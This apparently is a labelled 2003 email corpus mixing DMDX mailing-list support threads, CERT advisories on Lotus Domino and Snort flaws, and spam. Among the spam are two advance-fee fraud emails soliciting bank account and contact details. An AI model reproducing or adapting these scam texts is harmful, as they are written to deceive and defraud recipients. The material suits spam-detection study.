ActiveX. The iNotes ActiveX control was an attack vector for the vulnerability and is not the affected code base. Because this issue is not specific to ActiveX, Lotus Notes clients and Domino Servers running on platforms other than Microsoft Windows may be affected. In March 2003, Rapid7, Inc. released several advisories. The following vulnerabilities, reported by Rapid7, Inc., affect versions of Lotus Domino prior to 5.0.12: VU#433489 - Lotus Domino Server susceptible to a pre-authentication buffer overflow during Notes authentication Lotus Technical Documentation: DBAR5CJJJS Rapid7, Inc.'s Advisory: R7-0010 VU#411489 - Lotus Domino Web Retriever contains a buffer overflow vulnerability Lotus Technical Documentation: KSPR5DFJTR Rapid7, Inc.'s Advisory: R7-0011 Rapid7, Inc. also discovered that Lotus Domino pre-release and beta versions of 6.0 were also affected by the following vulnerability: VU#583184 - Lotus Domino R5 Server Family contains multiple vulnerabilities in LDAP handling code Lotus Technical Documentation: DWUU4W6NC8 Rapid7, Inc.'s Advisory: R7-0012 VU#583184 was a regression of the PROTOS LDAP Test-Suite from CA-2001-18 and was originally fixed in 5.0.7a. II. Impact The impact of these vulnerabilities range from denial of service to data corruption and the potential to execute arbitrary code. For details about the impact of a specific vulnerability, please see the related vulnerability note. III. Solution Upgrade Most of these vulnerabilities are resolved in versions 5.0.12 and 6.0.1 of Lotus Domino. Only VU#571297, ""Lotus Notes and Domino COM Object Control Handler contains buffer overflow,"" is not resolved in 5.0.12, or 6.0.1. Critical Fix 1 for 6.0.1 was released on March 18, 2003, to resolve this issue for both the Notes client and Domino server. Apply a patch Patches are available for some vulnerabilities. Please view the individual vulnerability notes for specific patch information. Block access from outside the network perimeter Lotus Domino servers listen on port 1352/TCP. Notes may also be configured to listen on other ports, such as NETBIOS, SPX, or XPC. Blocking access to these ports from machines outside your trusted network perimeter may help mitigate successful exploitation of these vulnerabilities. Appendix A - References 1. http://www.kb.cert.org/vuls/id/571297 2. http://www.kb.cert.org/vuls/id/206361 3. http://www.ibm.com/Search?v=11",DMDX@psy1.psych.arizona.edu,"Wed, 26 Mar 2003 14:00:38 -0700",[DMDX] IMG2BMP 2.00," There's a new IMG2BMP.EXE that appears to fix some problems the old one had when it generated solid black images. Didn't really fix anything, just compiled it with the new compiler and when it did the same thing as the old one I told it to generate 32 bit BMP files instead of 2 bit and things started working. http://www.u.arizona.edu/~jforster/dmdx/dmtgutils.zip /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Under any conditions, anywhere, whatever you are doing, there is some ordinance under which you can be booked. - Robert D. Sprecht (Rand Corp) ",0,1 xiaofeng liu ,DMDX@psy1.psych.arizona.edu,"Fri, 28 Mar 2003 16:07:32 +0800","[DMDX] the script can not be processed correctly,what wrong?","Here is a simple script, however, my response is correct, the screen instruct ""Wrong -368ms"" , e.g., I press J to response to the item ,""-4 * ""XXXX"" /;"" , the screen display ""Wrong -368ms"". N30 $ 0 ""Name the colour in which the word or sign is printed"", ""Instruction"", ""If word is printed in colur,then Press F to Red colour,Press J to Green color"", ""Ready......,Press SPACEBAR to start""; 1 <%ms 500>; $ +1 * ""XXXX"" /; -2 * ""XXXX"" /; +3 * ""XXXX"" /; -4 * ""XXXX"" /; +5 * ""XXXX"" /; $ 0 ""Have a Break"", ""Press SPACEBAR to restart""; 1 <%ms 300>; $ +1 * ""XXXX"" /; -2 * ""XXXX"" /; +3 * ""XXXX"" /; -4 * ""XXXX"" /; +5 * ""XXXX"" /; $ 0 ""The End. Thank You.""; $ There is the same problem with below script: N30 $ 0 ""Name the colour in which the word or sign is printed"", ""Instruction"", ""If word is printed in colur,then Press F to Red colour,Press J to Green color"", ""Ready......,Press SPACEBAR to start""; 1 <%ms 500>; $ +1 ,umnr> * ""XXXX"" /; -2 ,umnr> * ""XXXX"" /; +3 ,umnr> * ""XXXX"" /; -4 ,umnr> * ""XXXX"" /; +5 ,umnr> * ""XXXX"" /; $ 0 ""Have a Break"", ""Press SPACEBAR to restart""; 1 <%ms 300>; $ +1 ,umnr> * ""XXXX"" /; -2 ,umnr> * ""XXXX"" /; +3 ,umnr> * ""XXXX"" /; -4 ,umnr> * ""XXXX"" /; +5 ,umnr> * ""XXXX"" /; $ 0 ""The End. Thank You.""; $ Any advice is appericiated. Arnold --------------------------------- Do You Yahoo!? ""雅虎通网络KTV, 随时随地免费卡拉OK~~""",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 28 Mar 2003 08:44:42 -0700","[DMDX] Re: the script can not be processed correctly,what wrong?","Pressing J to item 4 produces a correct response on my machine. This is the diagnostics.txt from having pressed J to all items: Scrambled file is Button name <+Space> already mapped EXPERIMENT READY 2 video memory buffers at 1024x768 16 bpp 0 ""Name the colour in which the word or sign is printed"", ""Instruction"", ""If word is printed in colur,then Press F to Red col Preparation A 0.43ms, B 3.00ms 1 <%ms 500>; Preparation A 0.04ms, B 2.53ms +1 * ""XXXX"" /; Item 1 RT -540.81 -- Error Rate 100% Preparation A 0.05ms, B 2.16ms -4 * ""XXXX"" /; Item 4 RT 371.22 -- Error Rate 50% Preparation A 0.21ms, B 0.98ms +3 * ""XXXX"" /; Item 3 RT -474.21 -- Error Rate 66% Preparation A 0.19ms, B 1.37ms -2 * ""XXXX"" /; Item 2 RT 412.52 -- Error Rate 50% Preparation A 0.18ms, B 1.04ms +5 * ""XXXX"" /; Item 5 RT -416.63 -- Error Rate 60% Preparation A 0.26ms, B 1.04ms 0 ""Have a Break"", ""Press SPACEBAR to restart""; Preparation A 0.29ms, B 1.20ms 1 <%ms 300>; Preparation A 2.47ms, B 1.29ms -4 * ""XXXX"" /; Item 4 RT 378.20 -- Error Rate 50% Preparation A 0.59ms, B 1.17ms +5 * ""XXXX"" /; Item 5 RT -431.51 -- Error Rate 57% Preparation A 0.24ms, B 1.16ms -2 * ""XXXX"" /; Item 2 RT 493.01 -- Error Rate 50% Preparation A 0.25ms, B 0.98ms +1 * ""XXXX"" /; Item 1 RT -437.95 -- Error Rate 55% Preparation A 0.25ms, B 1.00ms +3 * ""XXXX"" /; Item 3 RT -426.53 -- Error Rate 60% Preparation A 2.88ms, B 1.03ms 0 ""The End. Thank You.""; ITEM COUNT NOT ZERO (20) Final error rate 60% JOB STOPPED Beyond being superfluous when the data file isn't a .zil data file the only thing that could be weird is your keyboard, you might want to check that pressing J in TimeDX's input test does in fact produce J. BTW, my feedback is ""...Wrong..."", no reaction time. So if you're getting something else I'm suspecting you may be having trouble running script you think you're running. At 04:07 PM 3/28/2003 +0800, you wrote: >Here is a simple script, however, my response is correct, the screen >instruct ""Wrong -368ms"" , e.g., I press J to response to the item ,""-4 > * ""XXXX"" /;"" , the screen display ""Wrong -368ms"". > >N30 > 1024 768 768 32 85> >$ >0 ""Name the colour in which the word or sign is printed"", > ""Instruction"", > ""If word is printed in colur,then Press F to Red colour,Press J > to Green color"", > ""Ready......,Press SPACEBAR to start""; >1 <%ms 500>; >$ >+1 * ""XXXX"" /; >-2 * ""XXXX"" /; >+3 * ""XXXX"" /; >-4 * ""XXXX"" /; >+5 * ""XXXX"" /; >$ >0 ""Have a Break"", ""Press SPACEBAR to restart""; >1 <%ms 300>; >$ >+1 * ""XXXX"" /; >-2 * ""XXXX"" /; >+3 * ""XXXX"" /; >-4 * ""XXXX"" /; >+5 * ""XXXX"" /; >$ >0 ""The End. Thank You.""; >$ > >There is the same problem with below script: > >N30 > 1024 768 768 32 85> >$ >0 ""Name the colour in which the word or sign is printed"", > ""Instruction"", > ""If word is printed in colur,then Press F to Red colour,Press J > to Green color"", > ""Ready......,Press SPACEBAR to start""; >1 <%ms 500>; >$ >+1 ,umnr> * ""XXXX"" /; >-2 ,umnr> * ""XXXX"" /; >+3 ,umnr> * ""XXXX"" /; >-4 ,umnr> * ""XXXX"" /; >+5 ,umnr> * ""XXXX"" /; >$ >0 ""Have a Break"", ""Press SPACEBAR to restart""; >1 <%ms 300>; >$ >+1 ,umnr> * ""XXXX"" /; >-2 ,umnr> * ""XXXX"" /; >+3 ,umnr> * ""XXXX"" /; >-4 ,umnr> * ""XXXX"" /; >+5 ,umnr> * ""XXXX"" /; >$ >0 ""The End. Thank You.""; >$ > >Any advice is appericiated. > >Arnold > > > >Do You Yahoo!? /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A long memory is the most subversive idea in America.",0,0 xiaofeng liu ,DMDX@psy1.psych.arizona.edu,"Sat, 29 Mar 2003 13:50:59 +0800","[DMDX] Re: the script can not be processed correctly,what wrong?","Thank you The feedback is ""...Wrong..."", no reaction time, I have a mistake with the last mail. However, do you find that your response is corret and the feedback is ""...Wrong...""? In addition, How to check Pressing J in TimeDX does in fact produce J? Arnold ""j.c.f."" wrote: Pressing J to item 4 produces a correct response on my machine. This is the diagnostics.txt from having pressed J to all items: Scrambled file is Button name <+Space> already mapped EXPERIMENT READY 2 video memory buffers at 1024x768 16 bpp 0 ""Name the colour in which the word or sign is printed"", ""Instruction"", ""If word is printed in colur,then Press F to Red col Preparation A 0.43ms, B 3.00ms 1 --------------------------------- Do You Yahoo!? ""雅虎通网络KTV, 随时随地免费卡拉OK~~""",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 29 Mar 2003 10:19:12 -0700","[DMDX] Re: the script can not be processed correctly,what wrong?","At 01:50 PM 3/29/2003 +0800, you wrote: >Thank you > >The feedback is ""...Wrong..."", no reaction time, I have a mistake with the >last mail. > >However, do you find that your response is corret and the feedback is >""...Wrong...""? No, the feedback is ""Correct 381"" when it should be. >In addition, How to check Pressing J in TimeDX does in fact produce J? Use the Input Test in TimeDX, select the keyboard and click Test and all the key names will fill the list box. Press J and the J key entry should be displayed. You may be running into some kind of weirdness on account of the keyboard you have, perhaps you should consider the #keyboard device that was added to clear up input weird international keyboard issues (see Input help in DMDX). Then you can use +#36 instead of +J and +#33 instead of +F in the mapping keywords. You will have to be using a fairly recent version of DMDX though. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A long memory is the most subversive idea in America. ",0,0 xiaofeng liu ,DMDX@psy1.psych.arizona.edu,"Sun, 30 Mar 2003 16:49:31 +0800","[DMDX] Re: the script can not be processed correctly,what wrong?","Dear jonathan Thank you very much. I have found the error in my script. I did not notice that the keyword ""dwc"" means the color of the next frame other than corrent frame. ""j.c.f."" wrote:At 01:50 PM 3/29/2003 +0800, you wrote: >Thank you > >The feedback is ""...Wrong..."", no reaction time, I have a mistake with the >last mail. > >However, do you find that your response is corret and the feedback is >""...Wrong...""? No, the feedback is ""Correct 381"" when it should be. >In addition, How to check Pressing J in TimeDX does in fact produce J? Use the Input Test in TimeDX, select the keyboard and click Test and all the key names will fill the list box. Press J and the J key entry should be displayed. You may be running into some kind of weirdness on account of the keyboard you have, perhaps you should consider the #keyboard device that was added to clear up input weird international keyboard issues (see Input help in DMDX). Then you can use +#36 instead of +J and +#33 instead of +F in the mapping keywords. You will have to be using a fairly recent version of DMDX though. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A long memory is the most subversive idea in America. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== --------------------------------- Do You Yahoo!? ""雅虎通网络KTV, 随时随地免费卡拉OK~~""",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 30 Mar 2003 11:13:38 -0700","[DMDX] Re: the script can not be processed correctly,what wrong?","At 04:49 PM 3/30/2003 +0800, you wrote: >Dear jonathan > >Thank you very much. I have found the error in my script. I did not >notice that the keyword ""dwc"" means the color of the next frame other than >corrent frame. Yes, of course, you want because the color of that frame has already been copied from the default color. I guess I could remove that little gotcha except that then if someone had actually used and together the would override the if it was different. Guess I could check for that also, make change the color of the frame it is in if hasn't already been changed from the previous default writing color... And then of course someone will have an item file that actually relies on not affecting the current frame and there's also the scenario that I can't imagine because it's so bizarre but works nonetheless that I know someone will have -- so the legacy stupidity stays put. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A long memory is the most subversive idea in America.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 30 Mar 2003 13:26:19 -0700",[DMDX] another sendmail flaw," ...another sendmail flaw patched so I guess I should test that the list still works... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Here I am, fifty-eight, and I still don't know what I want to be when I grow up. - Peter Drucker ",0,0 wanggm ,DMDX@psy1.psych.arizona.edu,"Wed, 02 Apr 2003 00:43:56 +0800",[DMDX] Feedback Problem.,"Hello jonathan, I'm doing a audial experiment and I want to give subjects the wrong feedback, but my subjects are special--my subjects are all blind. Of course I can't give the visual feedback, and I'm afraid of the interfering that different audio stimuli may cause If I give the audial feedback. So I decide to give such feedback: When the blind subject do a wrong response, the program will stop there with a wrong character in the middle of screen. And then my blind subjects find they are wrong, they can press the spacebar to continue. But the problem is that I don't know how to make the program stop when it is in the feedback progress. Please help me! WangGM --------------------------------------- Greed is good or not? ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 01 Apr 2003 10:39:42 -0700",[DMDX] ,"At 12:43 AM 4/2/2003 +0800, you wrote: >Hello jonathan, BTW, this goes to the whole list, all 180 odd of them, not just me. > > I'm doing a audial experiment and I want to give subjects the wrong > feedback, >but my subjects are special--my subjects are all blind. Of course I can't >give the >visual feedback, and I'm afraid of the interfering that different audio >stimuli >may cause If I give the audial feedback. > So I decide to give such feedback: When the blind subject do a wrong > response, >the program will stop there with a wrong character in the middle of >screen. And >then my blind subjects find they are wrong, they can press the spacebar to >continue. But the problem is that I don't know how to make the program >stop when >it is in the feedback progress. You will have to use custom feedback. See the keyword, it has a custom feedback example. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ No one can put you down without your full cooperation.",0,0 Jane Trull ,foley@mit.edu,"Tue, 01 Apr 2003 11:52:22 -0500",hamrick purchase,"Hi --- Here's the receipt and serial number info - when they send me ! the license - hopefully I can forward it to you or whatever. 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",DMDX@psy1.psych.arizona.edu,"Wed, 02 Apr 2003 10:42:51 -0700",[DMDX] Re: DMDX on a MAC,"At 10:36 AM 4/2/2003 -0500, you wrote: >Is there a Macintosh friendly version of DMDX or a way to run DMDX on a >Mac? I looked at the update site and could not find information about >it. There isn't a Mac version of DMDX. Won't ever be one either. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ No one can put you down without your full cooperation. ",0,0 Andrew Schuler ,"gradstudents@cee.egr.duke.edu, faculty@cee.egr.duke.edu","Wed, 02 Apr 2003 15:43:50 -0500",Fwd: Summer Internship (fwd),"FYI - see below. >---------- Forwarded message ---------- >Date: Wed, 02 Apr 2003 14:02:03 -0500 >From: Ann Deering >To: cjc9@duke.edu, robgriff@duke.edu >Subject: Summer Internship > > >A local environmental consulting firm, EC/R Incorporated, is accepting >applications for a possible summer intern position. Graduate student with a >science or engineering background preferred. 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The following script records, for one second per stimulus, anything that was typed: n3 =1 * ""dog""; =2 * ""cat""; =3 * ""mouse""; Now I would like to add a response deadline that displays a message after the trial if the FIRST key stroke was later than a certain time interval. I have implemented response deadlines before, but only with ""normal"" (i.e., two-alternative) responses. For instance, the following script (which I believe was posted in similar form to this list some time ago) requires one of the two shift keys as a response, and if the key press did not occur within 500 ms after stimulus onset, the message ""Too slow!"" is displayed after the trial. The sole purpose of the ""0 "" line is to skip the ""60"" and ""69"" lines when the file is read by DMDX. n3 0 ; 60 ; 0 ""Too slow!"" / c; 69 ; 70 ; =1 * ""dog"" / ! ; =2 * ""cat"" / ! ; =3 * ""mouse"" / ! ; So here is my question: is there a way to access the FIRST rt (out of many) that is recorded with the option, and make a response deadline dependent on it? Many thanks, Markus -- +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= Markus Damian University of Bristol Department of Experimental Psychology 8 Woodland Road, 5D5 Bristol BS8 1TN United Kingdom Tel: (+44) (0)117 - 954 6840 Fax: (+44) (0)117 - 928 8588 Email: m.damian@bristol.ac.uk http://eis.bris.ac.uk/~psmfed +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=",0,1 Heejong Yi ,DMDX@psy1.psych.arizona.edu,"Mon, 07 Apr 2003 07:17:00 -0400",[DMDX] No Keyboard Input,"I tried to run a sample control file with the latest version of DMDX. Somehow, it does not take any keyboard response (left/right shift keys and spacebar). ""No response"" sign appears regardless of my keyboard input. OS is Korean version of ME. I use Korean keyboard. I change the keyboard name that matches with input device in TimeDX. In input test, left shift is #42, right shift is #54, and the spacebar is #57. I welcome any kind of advice ASAP. Thanks. Heejong Yi ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 07 Apr 2003 09:48:37 -0700",[DMDX] Re: typed responses and deadline,"At 10:59 AM 4/7/2003 +0100, you wrote: >So here is my question: is there a way to access the FIRST rt (out of >many) that is recorded with the option, and make a response deadline >dependent on it? I don't think so. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The soul would have no rainbow had the eyes no tears.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 07 Apr 2003 09:49:46 -0700",[DMDX] Re: No Keyboard Input,"At 07:17 AM 4/7/2003 -0400, you wrote: >I tried to run a sample control file with the latest version of DMDX. >Somehow, it does not take any keyboard response (left/right shift keys and >spacebar). ""No response"" sign appears regardless of my keyboard input. > >OS is Korean version of ME. I use Korean keyboard. I change the keyboard >name that matches with input device in TimeDX. In input test, left shift >is #42, right shift is #54, and the spacebar is #57. Change the keyboard name to #keyboard. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The soul would have no rainbow had the eyes no tears. ",0,0 Karen Murphy ,DMDX@psy1.psych.arizona.edu,"Tue, 08 Apr 2003 07:53:32 +1000",[DMDX] question about video and sound card,"I am in the process of trying to upgrade the computers in my lab and was thinking of ordering the following machines. Dell precision 350SMT 2.66GHz processor, with a 64MEG fireGL e1 VGA/DVI (dual monitor capable) video card, and a 16 bit sound blaster compatible sound card which evidently comes as part of the motherboard. Can anyone please advise me as to the suitability of these machines for running DMDX and any problems that may occur in trying to use DMDX on this type of machine? Thanks Karen Dr Karen Murphy School of Applied Psychology Griffith University Gold Coast Campus Phone: (07) 5552 8952 Fax: (07) 5552 8291 Mailing Address: Dr Karen Murphy School of Applied Psychology (Business) Gold Coast Campus Griffith University PMB 50 Gold Coast mail Centre Queensland 9726 Australia ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 07 Apr 2003 17:57:03 -0700",[DMDX] Re: question about video and sound card,"At 07:53 AM 4/8/2003 +1000, you wrote: >I am in the process of trying to upgrade the computers in my lab and was >thinking of ordering the following machines. > >Dell precision 350SMT 2.66GHz processor, with a 64MEG fireGL e1 VGA/DVI >(dual monitor capable) video card, and a 16 bit sound blaster compatible >sound card which evidently comes as part of the motherboard. >Can anyone please advise me as to the suitability of these machines for >running DMDX and any problems that may occur in trying to use DMDX on this >type of machine? 16 bit SoundBlaster should be fine, never tried a FireGL video card but given that someone else recently had trouble with a 3D Labs card I'm not too optimistic. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The soul would have no rainbow had the eyes no tears. ",0,0 Karen Murphy ,DMDX@psy1.psych.arizona.edu,"Tue, 08 Apr 2003 17:09:13 +1000",[DMDX] Re: question about video and sound card,"Thanks for that info Jonathan As it looks like the 64Mb fireGL video card is going to be a problem can you let me know which of the following video cards, if any, would be suitable for running DMDX? 32MB ATI Radeon (TM) VE VGA (single monitor capable) 32MB ATI Radeon (TM) VE VGA (dual monitor capable) 32MB ATI Radeon VE VGA/DVI (dual monitor capable) Also if you know of a 64MB video card that will work with DMDX the name of that card etc would also be useful. Many Thanks Karen ""j.c.f."" Sent by: DMDX-owner@psy1.psych.arizona.edu 08/04/2003 10:57 AM Please respond to DMDX To: DMDX@psy1.psych.arizona.edu cc: Subject: [DMDX] Re: question about video and sound card At 07:53 AM 4/8/2003 +1000, you wrote: >I am in the process of trying to upgrade the computers in my lab and was >thinking of ordering the following machines. > >Dell precision 350SMT 2.66GHz processor, with a 64MEG fireGL e1 VGA/DVI >(dual monitor capable) video card, and a 16 bit sound blaster compatible >sound card which evidently comes as part of the motherboard. >Can anyone please advise me as to the suitability of these machines for >running DMDX and any problems that may occur in trying to use DMDX on this >type of machine? 16 bit SoundBlaster should be fine, never tried a FireGL video card but given that someone else recently had trouble with a 3D Labs card I'm not too optimistic. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The soul would have no rainbow had the eyes no tears. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 sympa@kendy.up.ac.za,XXX@XXXXXXXX.XXXXXXX.XXX,"Tue, 08 Apr 2003 18:16:00 +0200",Welcome in list icaa,"Welcome in list icaa@kendy.up.ac.za. Your subscription email is XXX@XXXXXXXX.XXXXXXX.XXX Your password : XXXXXXXX. analysis Everything about this list: XXXX://kendy.up.ac.za/wws/info/icaa ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 08 Apr 2003 10:18:58 -0700",[DMDX] Re: question about video and sound card,"At 05:09 PM 4/8/2003 +1000, you wrote: >Thanks for that info Jonathan > >As it looks like the 64Mb fireGL video card is going to be a problem can >you let me know which of the following video cards, if any, would be >suitable for running DMDX? > >32MB ATI Radeon (TM) VE VGA (single monitor capable) >32MB ATI Radeon (TM) VE VGA (dual monitor capable) >32MB ATI Radeon VE VGA/DVI (dual monitor capable) > >Also if you know of a 64MB video card that will work with DMDX the name of >that card etc would also be useful. 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I am now soliciting your noble assistance to assist me in transferring this money out of Madrid Spain to your country for immediate investment with your assistance. I have also decided that you will generously be entitled to 35 % while 55% will be for me and 10% for taxation and miscellaneous expenses of the total amount. Upon my receipt of your reply confirming your willingness to assist me, I will immediately arrange and transfer all the rights of ownership of this consignment to your name to facilitate your easy clearance and transfer of the complete funds to your country for onwards investment. This transaction is 100% risk free. Please maintain absolute confidential on this matter. I await your most prompt response through my telephone or e-mail address. Yours faithfully Sr. MARTINS GOMEZ +34-639-064-400 ",1,0 andrew azu ,XXX@XXXXXXXX.XXXXXXX.XXX,"Thu, 10 Apr 2003 17:35:56 +0100",URGENT AND CONFIDENTIAL,"FROM:Mr,Andrew Azu, PHONE:(874)-762864167, FAX :(874)-762864168 (URGENT AND CONFIDENTIAL) RE: TRANSFER OF ($26,000.000.00 USD} TWENTY SIX MILLION DOLLARS Dear Sir, We want to transfer to overseas account ($26,000.000.00 USD) Twenty six million United States Dollars) from a Prime Bank here in South Africa, I want to ask you, If you are not capable to quietly look for a reliable and honest person who will be capable and fit to provide either an existing bank account or to set up a new Bank a/c immediately to receive this money, even an empty a/c can serve to receive this money, as long as you will remain honest to me till the end for this important business trusting in you and believing in God that you will never let me down either now or in future. I am the Auditor General of one of the prime banks here in South Africa, during the course of our auditing,I discovered a floating fund in an account opened in the bank in 1996 and since 1998 nobody has operated on this account again,after going through some old files in the records I discovered that the owner of the account died without a [Heir/WILL] hence the money is floating and if I do not remit this money out urgently it will be forfeited for nothing. The owner of this account is PEDRO F. HASLER a foreigner, a great industrialist and he died since 1998.No other person knows about this account or any thing concerning it, the account has no other beneficiary and my investigation proved to me as well that until his death he was the manager GOLD ARK [pty]. SA. We will start the first transfer with Six million [$6,000.000] upon successful transaction without any disappoint from your side, we shall re-apply for the payment of the remaining rest amount to your account. The total amount involve is Twenty six million United States Dollars only [$26,000.000.00]. I want to first transfer $6,000.000.00 [Six million United States Dollar] from this money into a safe foreigners account abroad before the rest. But I don't know any foreigner, I am only contacting you as a foreigner because this money can not be approved to a local person here, without valid international foreign passport, but can only be approved to any foreigner with valid international passport or drivers license and foreign a/c because the money is in US dollars and the former owner of the a/c is a foreigner too, and the money can only be approved into a foreign a/c. However, we will sign a binding agreement, to bind us together when we meet face to face after the first transfer of $6 Million before transferring the second part of $20 Million. I am revealing this to you with believe in God that you will never let me down in this business, you are the first and the only person that I am contacting for this business, so please reply urgently so that I will inform you the next step to take urgently. Send also your private telephone and fax number including the full details of the account to be used for the deposit. I want us to meet face to face to build confidence and to sign a binding agreement that will bind us together immediately after the first transfer before we fly to your country for withdrawal, sharing and investments. I need your full co-operation to make this work fine because the management is ready to approve this payment to any foreigner who has correct information of this account, which I will give to you upon your positive response and once I am convinced that you are capable and will meet up with instruction of a key bank official who is deeply involved with me in this business. I need your strong assurance that you will never, never let me down. With my influence and my position in the bank the bank official can transfer this money to any foreigner's reliable account that you can provide with assurance that this money will be intact pending our physical arrival in your country for sharing. The bank official Will destroy all documents of transaction immediately we receive this money leaving no trace to any place and to build confidence you can call me for heart to heart discussion through my private satellite phone which I secured for the security and safety of this business as you know that this business is confidential.I will use my position and influence to obtain all legal approvals for onward transfer of this money to your account with appropriate clearance from the relevant ministries and foreign exchange departments. At the conclusion of this business, you will be given 35% of the total amount, 60% will be for me, while 5% will be for expenses both parties might have incurred during the process of transferring. I look forward to your earliest reply through my email address. Yours truly Mr,Andrew Azu. __________________________________________________ Yahoo! Plus For a better Internet experience http://www.yahoo.co.uk/btoffer ",1,1 Sally Guthrie ,Cecil ,"Thu, 10 Apr 2003 11:28:48 -0600",C_I_A_L_I_S and be a superman in bed! ,"Hi there,DMDX@psy1.psych.arizona.edu Try our revolutionary product, C_I_A_L_I_S Soft Tabs. New improved formula makes it even better. C_I_A_L_I_S Soft Tabs is the new impotence treatment drug that everyone is talking about. C_I_A_L_I_S acts up to 36 hours, compare this to only two or three hours of V_i_a_g_r_a action! The active ingredient is Tadalafil, same as in brand C_I_A_L_I_S. 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The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ",0,1 ������ ,DMDX@psy1.psych.arizona.edu,"Tue, 15 Apr 2003 13:47:29 -0300",=================> :��:��: <-- �Ϸ� 220���̸� �����ϴ�. ���� ������ �� . snwc e,c jfrnem qercwdj,1,1 CERT Advisory ,cert-advisory@cert.org,"Thu, 17 Apr 2003 11:31:01 -0400",CERT Advisory CA-2003-13 Multiple Vulnerabilities in Snort Preprocessors," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2003-13 Multiple Vulnerabilities in Snort Preprocessors Original release date: April 17, 2003 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Snort IDS, versions 1.8 through 2.0 RC1 Overview There are two vulnerabilities in the Snort Intrusion Detection System, each in a separate preprocessor module. Both vulnerabilities allow remote attackers to execute arbitrary code with the privileges of the user running Snort, typically root. I. Description The Snort intrusion detection system ships with a variety of preprocessor modules that allow the user to selectively include additional functionality. Researchers from two independent organizations have discovered vulnerabilities in two of these modules, the RPC preprocessor and the ""stream4"" TCP fragment reassembly preprocessor. For additional information regarding Snort, please see http://www.snort.org/. VU#139129 - Heap overflow in Snort ""stream4"" preprocessor (CAN-2003-0029) Researchers at CORE Security Technologies have discovered a remotely exploitable heap overflow in the Snort ""stream4"" preprocessor module. This module allows Snort to reassemble TCP packet fragments for further analysis. To exploit this vulnerability, an attacker must disrupt the state tracking mechanism of the preprocessor module by sending a series of packets with crafted sequence numbers. This causes the module to bypass a check for buffer overflow attempts and allows the attacker to insert arbitrary code into the heap. For additional information, please read the Core Security Technologies Advisory located at http://www.coresecurity.com/common/showdoc.php?idx=313&idxseccion=10 This vulnerability affects Snort versions 1.8.x, 1.9.x, and 2.0 prior to RC1. Snort has published an advisory regarding this vulnerability; it is available at http://www.snort.org/advisories/snort-2003-04-16-1.txt. VU#916785 - Buffer overflow in Snort RPC preprocessor (CAN-2003-0033) Researchers at Internet Security Systems (ISS) have discovered a remotely exploitable buffer overflow in the Snort RPC preprocessor module. Martin Roesch, primary developer for Snort, described the vulnerability as follows: When the RPC decoder normalizes fragmented RPC records, it incorrectly checks the lengths of what is being normalized against the current packet size, leading to an overflow condition. The RPC preprocessor is enabled by default. For additional information, please read the ISS X-Force advisory located at http://www.iss.net/issEn/delivery/xforce/alertdetail.jsp?oid=21951 This vulnerability affects Snort versions 1.8.x through 1.9.1 and version 2.0 Beta. II. Impact Both VU#139129 and VU#916785 allow remote attackers to execute arbitrary code with the privileges of the user running Snort, typically root. In addition, it is not necessary for the attacker to know the IP address of the Snort device they wish to attack; merely sending malicious traffic where it can be observed by an affected Snort sensor is sufficient to exploit these vulnerabilities. III. Solution Upgrade to Snort 2.0 Both VU#139129 and VU#916785 are addressed in Snort version 2.0, which is available at http://www.snort.org/dl/snort-2.0.0.tar.gz Binary-only versions of Snort are available from http://www.snort.org/dl/binaries For information from other vendors that ship affected versions of Snort, please see Appendix A of this document. Disable affected preprocessor modules Sites that are unable to immediately upgrade affected Snort sensors may prevent exploitation of this vulnerability by commenting out the affected preprocessor modules in the ""snort.conf"" configuration file. To prevent exploitation of VU#139129, comment out the following line: preprocessor stream4_reassemble To prevent exploitation of VU#916785, comment out the following line: preprocessor rpc_decode: 111 32771 After commenting out the affected modules, send a SIGHUP signal to the affected Snort process to update the configuration. 